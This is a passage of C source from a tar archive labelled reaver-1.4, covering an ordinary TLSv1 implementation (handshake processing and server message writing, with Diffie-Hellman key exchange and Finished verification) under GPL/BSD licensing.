(tlsv1_record_change_read_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher " "for record layer"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *in_len = pos + 1 - in_data; conn->state = CLIENT_FINISHED; return 0; } static int tls_process_client_finished(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for " "Finished", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received " "type 0x%x", pos[0]); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } len = WPA_GET_BE24(pos + 1); pos += 4; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished " "(len=%lu > left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (len != TLS_VERIFY_DATA_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length " "in Finished: %lu (expected %d)", (unsigned long) len, TLS_VERIFY_DATA_LEN); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished", pos, TLS_VERIFY_DATA_LEN); hlen = MD5_MAC_LEN; if (conn->verify.md5_client == NULL || crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_client = NULL; crypto_hash_finish(conn->verify.sha1_client, NULL, NULL); conn->verify.sha1_client = NULL; return -1; } conn->verify.md5_client = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_client == NULL || crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_client = NULL; tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_client = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "client finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)", verify_data, TLS_VERIFY_DATA_LEN); if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) { wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data"); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Finished"); *in_len = end - in_data; if (conn->use_session_ticket) { /* Abbreviated handshake using session ticket; RFC 4507 */ wpa_printf(MSG_DEBUG, "TLSv1: Abbreviated handshake completed " "successfully"); conn->state = ESTABLISHED; } else { /* Full handshake */ conn->state = SERVER_CHANGE_CIPHER_SPEC; } return 0; } int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct, const u8 *buf, size_t *len) { if (ct == TLS_CONTENT_TYPE_ALERT) { if (*len < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", buf[0], buf[1]); *len = 2; conn->state = FAILED; return -1; } switch (conn->state) { case CLIENT_HELLO: if (tls_process_client_hello(conn, ct, buf, len)) return -1; break; case CLIENT_CERTIFICATE: if (tls_process_certificate(conn, ct, buf, len)) return -1; break; case CLIENT_KEY_EXCHANGE: if (tls_process_client_key_exchange(conn, ct, buf, len)) return -1; break; case CERTIFICATE_VERIFY: if (tls_process_certificate_verify(conn, ct, buf, len)) return -1; break; case CHANGE_CIPHER_SPEC: if (tls_process_change_cipher_spec(conn, ct, buf, len)) return -1; break; case CLIENT_FINISHED: if (tls_process_client_finished(conn, ct, buf, len)) return -1; break; default: wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d " "while processing received message", conn->state); return -1; } if (ct == TLS_CONTENT_TYPE_HANDSHAKE) tls_verify_hash_add(&conn->verify, buf, *len); return 0; } reaver-1.4/src/tls/tlsv1_client_i.h0000755000175000017500000000472211705505260016666 0ustar reaverreaver/* * TLSv1 client - internal structures * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_CLIENT_I_H #define TLSV1_CLIENT_I_H struct tlsv1_client { enum { CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE, SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST, SERVER_HELLO_DONE, CLIENT_KEY_EXCHANGE, CHANGE_CIPHER_SPEC, SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED, ACK_FINISHED, ESTABLISHED, FAILED } state; struct tlsv1_record_layer rl; u8 session_id[TLS_SESSION_ID_MAX_LEN]; size_t session_id_len; u8 client_random[TLS_RANDOM_LEN]; u8 server_random[TLS_RANDOM_LEN]; u8 master_secret[TLS_MASTER_SECRET_LEN]; u8 alert_level; u8 alert_description; unsigned int certificate_requested:1; unsigned int session_resumed:1; unsigned int session_ticket_included:1; unsigned int use_session_ticket:1; struct crypto_public_key *server_rsa_key; struct tls_verify_hash verify; #define MAX_CIPHER_COUNT 30 u16 cipher_suites[MAX_CIPHER_COUNT]; size_t num_cipher_suites; u16 prev_cipher_suite; u8 *client_hello_ext; size_t client_hello_ext_len; /* The prime modulus used for Diffie-Hellman */ u8 *dh_p; size_t dh_p_len; /* The generator used for Diffie-Hellman */ u8 *dh_g; size_t dh_g_len; /* The server's Diffie-Hellman public value */ u8 *dh_ys; size_t dh_ys_len; struct tlsv1_credentials *cred; tlsv1_client_session_ticket_cb session_ticket_cb; void *session_ticket_cb_ctx; }; void tls_alert(struct tlsv1_client *conn, u8 level, u8 description); void tlsv1_client_free_dh(struct tlsv1_client *conn); int tls_derive_pre_master_secret(u8 *pre_master_secret); int tls_derive_keys(struct tlsv1_client *conn, const u8 *pre_master_secret, size_t pre_master_secret_len); u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len); u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level, u8 description, size_t *out_len); u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len, int no_appl_data); int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct, const u8 *buf, size_t *len, u8 **out_data, size_t *out_len); #endif /* TLSV1_CLIENT_I_H */ reaver-1.4/src/tls/tlsv1_server_write.c0000755000175000017500000004754711705505260017627 0ustar reaverreaver/* * TLSv1 server - write handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_server.h" #include "tlsv1_server_i.h" static size_t tls_server_cert_chain_der_len(struct tlsv1_server *conn) { size_t len = 0; struct x509_certificate *cert; cert = conn->cred->cert; while (cert) { len += 3 + cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } return len; } static int tls_write_server_hello(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; struct os_time now; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHello"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; os_get_time(&now); WPA_PUT_BE32(conn->server_random, now.sec); if (os_get_random(conn->server_random + 4, TLS_RANDOM_LEN - 4)) { wpa_printf(MSG_ERROR, "TLSv1: Could not generate " "server_random"); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random", conn->server_random, TLS_RANDOM_LEN); conn->session_id_len = TLS_SESSION_ID_MAX_LEN; if (os_get_random(conn->session_id, conn->session_id_len)) { wpa_printf(MSG_ERROR, "TLSv1: Could not generate " "session_id"); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id", conn->session_id, conn->session_id_len); /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ServerHello */ /* ProtocolVersion server_version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* Random random: uint32 gmt_unix_time, opaque random_bytes */ os_memcpy(pos, conn->server_random, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; /* SessionID session_id */ *pos++ = conn->session_id_len; os_memcpy(pos, conn->session_id, conn->session_id_len); pos += conn->session_id_len; /* CipherSuite cipher_suite */ WPA_PUT_BE16(pos, conn->cipher_suite); pos += 2; /* CompressionMethod compression_method */ *pos++ = TLS_COMPRESSION_NULL; if (conn->session_ticket && conn->session_ticket_cb) { int res = conn->session_ticket_cb( conn->session_ticket_cb_ctx, conn->session_ticket, conn->session_ticket_len, conn->client_random, conn->server_random, conn->master_secret); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback " "indicated failure"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_HANDSHAKE_FAILURE); return -1; } conn->use_session_ticket = res; if (conn->use_session_ticket) { if (tlsv1_server_derive_keys(conn, NULL, 0) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to " "derive keys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } } /* * RFC 4507 specifies that server would include an empty * SessionTicket extension in ServerHello and a * NewSessionTicket message after the ServerHello. However, * EAP-FAST (RFC 4851), i.e., the only user of SessionTicket * extension at the moment, does not use such extensions. * * TODO: Add support for configuring RFC 4507 behavior and make * EAP-FAST disable it. */ } WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; *msgpos = pos; return 0; } static int tls_write_server_certificate(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start; size_t rlen; struct x509_certificate *cert; const struct tls_cipher_suite *suite; suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) { wpa_printf(MSG_DEBUG, "TLSv1: Do not send Certificate when " "using anonymous DH"); return 0; } pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - Certificate */ /* uint24 length (to be filled) */ cert_start = pos; pos += 3; cert = conn->cred->cert; while (cert) { if (pos + 3 + cert->cert_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space " "for Certificate (cert_len=%lu left=%lu)", (unsigned long) cert->cert_len, (unsigned long) (end - pos)); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE24(pos, cert->cert_len); pos += 3; os_memcpy(pos, cert->cert_start, cert->cert_len); pos += cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } if (cert == conn->cred->cert || cert == NULL) { /* * Server was not configured with all the needed certificates * to form a full certificate chain. The client may fail to * validate the chain unless it is configured with all the * missing CA certificates. */ wpa_printf(MSG_DEBUG, "TLSv1: Full server certificate chain " "not configured - validation may fail"); } WPA_PUT_BE24(cert_start, pos - cert_start - 3); WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_key_exchange(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { tls_key_exchange keyx; const struct tls_cipher_suite *suite; u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; u8 *dh_ys; size_t dh_ys_len; suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite == NULL) keyx = TLS_KEY_X_NULL; else keyx = suite->key_exchange; if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) { wpa_printf(MSG_DEBUG, "TLSv1: No ServerKeyExchange needed"); return 0; } if (keyx != TLS_KEY_X_DH_anon) { /* TODO? */ wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not yet " "supported with key exchange type %d", keyx); return -1; } if (conn->cred == NULL || conn->cred->dh_p == NULL || conn->cred->dh_g == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available for " "ServerKeyExhcange"); return -1; } os_free(conn->dh_secret); conn->dh_secret_len = conn->cred->dh_p_len; conn->dh_secret = os_malloc(conn->dh_secret_len); if (conn->dh_secret == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " "memory for secret (Diffie-Hellman)"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (os_get_random(conn->dh_secret, conn->dh_secret_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " "data for Diffie-Hellman"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(conn->dh_secret); conn->dh_secret = NULL; return -1; } if (os_memcmp(conn->dh_secret, conn->cred->dh_p, conn->dh_secret_len) > 0) conn->dh_secret[0] = 0; /* make sure secret < p */ pos = conn->dh_secret; while (pos + 1 < conn->dh_secret + conn->dh_secret_len && *pos == 0) pos++; if (pos != conn->dh_secret) { os_memmove(conn->dh_secret, pos, conn->dh_secret_len - (pos - conn->dh_secret)); conn->dh_secret_len -= pos - conn->dh_secret; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH server's secret value", conn->dh_secret, conn->dh_secret_len); /* Ys = g^secret mod p */ dh_ys_len = conn->cred->dh_p_len; dh_ys = os_malloc(dh_ys_len); if (dh_ys == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate memory for " "Diffie-Hellman"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (crypto_mod_exp(conn->cred->dh_g, conn->cred->dh_g_len, conn->dh_secret, conn->dh_secret_len, conn->cred->dh_p, conn->cred->dh_p_len, dh_ys, &dh_ys_len)) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)", dh_ys, dh_ys_len); /* * struct { * select (KeyExchangeAlgorithm) { * case diffie_hellman: * ServerDHParams params; * Signature signed_params; * case rsa: * ServerRSAParams params; * Signature signed_params; * }; * } ServerKeyExchange; * * struct { * opaque dh_p<1..2^16-1>; * opaque dh_g<1..2^16-1>; * opaque dh_Ys<1..2^16-1>; * } ServerDHParams; */ pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ServerKeyExchange"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ServerDHParams */ /* dh_p */ if (pos + 2 + conn->cred->dh_p_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " "dh_p"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } WPA_PUT_BE16(pos, conn->cred->dh_p_len); pos += 2; os_memcpy(pos, conn->cred->dh_p, conn->cred->dh_p_len); pos += conn->cred->dh_p_len; /* dh_g */ if (pos + 2 + conn->cred->dh_g_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " "dh_g"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } WPA_PUT_BE16(pos, conn->cred->dh_g_len); pos += 2; os_memcpy(pos, conn->cred->dh_g, conn->cred->dh_g_len); pos += conn->cred->dh_g_len; /* dh_Ys */ if (pos + 2 + dh_ys_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " "dh_Ys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } WPA_PUT_BE16(pos, dh_ys_len); pos += 2; os_memcpy(pos, dh_ys, dh_ys_len); pos += dh_ys_len; os_free(dh_ys); WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_certificate_request(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; if (!conn->verify_peer) { wpa_printf(MSG_DEBUG, "TLSv1: No CertificateRequest needed"); return 0; } pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateRequest"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - CertificateRequest */ /* * enum { * rsa_sign(1), dss_sign(2), rsa_fixed_dh(3), dss_fixed_dh(4), * (255) * } ClientCertificateType; * ClientCertificateType certificate_types<1..2^8-1> */ *pos++ = 1; *pos++ = 1; /* rsa_sign */ /* * opaque DistinguishedName<1..2^16-1> * DistinguishedName certificate_authorities<3..2^16-1> */ /* TODO: add support for listing DNs for trusted CAs */ WPA_PUT_BE16(pos, 0); pos += 2; WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_hello_done(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHelloDone"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ServerHelloDone (empty) */ WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_change_cipher_spec(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; *pos = TLS_CHANGE_CIPHER_SPEC; if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC, rhdr, end - rhdr, 1, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (tlsv1_record_change_write_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for " "record layer"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *msgpos = rhdr + rlen; return 0; } static int tls_write_server_finished(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Finished"); /* Encrypted Handshake Message: Finished */ hlen = MD5_MAC_LEN; if (conn->verify.md5_server == NULL || crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_server = NULL; crypto_hash_finish(conn->verify.sha1_server, NULL, NULL); conn->verify.sha1_server = NULL; return -1; } conn->verify.md5_server = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_server == NULL || crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_server = NULL; tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_server = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "server finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)", verify_data, TLS_VERIFY_DATA_LEN); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_FINISHED; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; os_memcpy(pos, verify_data, TLS_VERIFY_DATA_LEN); pos += TLS_VERIFY_DATA_LEN; WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; *msgpos = pos; return 0; } static u8 * tls_send_server_hello(struct tlsv1_server *conn, size_t *out_len) { u8 *msg, *end, *pos; size_t msglen; *out_len = 0; msglen = 1000 + tls_server_cert_chain_der_len(conn); msg = os_malloc(msglen); if (msg == NULL) return NULL; pos = msg; end = msg + msglen; if (tls_write_server_hello(conn, &pos, end) < 0) { os_free(msg); return NULL; } if (conn->use_session_ticket) { /* Abbreviated handshake using session ticket; RFC 4507 */ if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 || tls_write_server_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; conn->state = CHANGE_CIPHER_SPEC; return msg; } /* Full handshake */ if (tls_write_server_certificate(conn, &pos, end) < 0 || tls_write_server_key_exchange(conn, &pos, end) < 0 || tls_write_server_certificate_request(conn, &pos, end) < 0 || tls_write_server_hello_done(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; conn->state = CLIENT_CERTIFICATE; return msg; } static u8 * tls_send_change_cipher_spec(struct tlsv1_server *conn, size_t *out_len) { u8 *msg, *end, *pos; *out_len = 0; msg = os_malloc(1000); if (msg == NULL) return NULL; pos = msg; end = msg + 1000; if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 || tls_write_server_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed successfully"); conn->state = ESTABLISHED; return msg; } u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len) { switch (conn->state) { case SERVER_HELLO: return tls_send_server_hello(conn, out_len); case SERVER_CHANGE_CIPHER_SPEC: return tls_send_change_cipher_spec(conn, out_len); default: if (conn->state == ESTABLISHED && conn->use_session_ticket) { /* Abbreviated handshake was already completed. */ return NULL; } wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while " "generating reply", conn->state); return NULL; } } u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level, u8 description, size_t *out_len) { u8 *alert, *pos, *length; wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description); *out_len = 0; alert = os_malloc(10); if (alert == NULL) return NULL; pos = alert; /* TLSPlaintext */ /* ContentType type */ *pos++ = TLS_CONTENT_TYPE_ALERT; /* ProtocolVersion version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* uint16 length (to be filled) */ length = pos; pos += 2; /* opaque fragment[TLSPlaintext.length] */ /* Alert */ /* AlertLevel level */ *pos++ = level; /* AlertDescription description */ *pos++ = description; WPA_PUT_BE16(length, pos - length - 2); *out_len = pos - alert; return alert; } reaver-1.4/src/tls/tlsv1_server.h0000755000175000017500000000400311705505260016376 0ustar reaverreaver/* * TLSv1 server (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_SERVER_H #define TLSV1_SERVER_H #include "tlsv1_cred.h" struct tlsv1_server; int tlsv1_server_global_init(void); void tlsv1_server_global_deinit(void); struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred); void tlsv1_server_deinit(struct tlsv1_server *conn); int tlsv1_server_established(struct tlsv1_server *conn); int tlsv1_server_prf(struct tlsv1_server *conn, const char *label, int server_random_first, u8 *out, size_t out_len); u8 * tlsv1_server_handshake(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, size_t *out_len); int tlsv1_server_encrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_server_decrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf, size_t buflen); int tlsv1_server_shutdown(struct tlsv1_server *conn); int tlsv1_server_resumed(struct tlsv1_server *conn); int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys); int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn); int 